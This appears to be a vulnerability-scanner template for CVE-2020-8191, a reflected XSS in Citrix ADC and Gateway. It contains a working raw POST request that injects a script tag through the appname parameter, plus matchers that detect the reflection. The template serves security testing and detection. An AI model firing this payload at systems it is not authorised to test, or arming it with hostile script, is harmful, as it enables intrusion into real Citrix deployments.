id: CVE-2020-8191

info:
  name: Citrix ADC & NetScaler Gateway Reflected XSS
  author: dwisiswant0
  severity: high
  tags: cve,cve2020,citrix,xss
  reference: https://support.citrix.com/article/CTX276688
  description: |
    Improper input validation in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows reflected Cross Site Scripting (XSS).

requests:
  - raw:
      - |
        POST /menu/stapp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
        Content-Length: 96
        Content-Type: application/x-www-form-urlencoded
        X-NITRO-USER: xpyZxwy6

        sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</title><script>alert(31337)</script>"
        part: body
      - type: status
        status:
          - 200

      - type: word
        words:
          - "text/html"
        part: header